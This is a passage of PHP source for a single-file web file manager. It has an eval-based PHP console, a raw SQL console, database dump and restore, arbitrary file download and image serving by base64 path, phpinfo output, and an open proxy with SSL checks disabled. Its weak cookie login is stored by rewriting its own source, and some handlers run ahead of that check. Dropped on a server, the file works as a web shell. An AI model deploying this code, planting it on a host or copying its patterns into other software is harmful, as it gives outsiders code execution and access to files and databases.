		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxs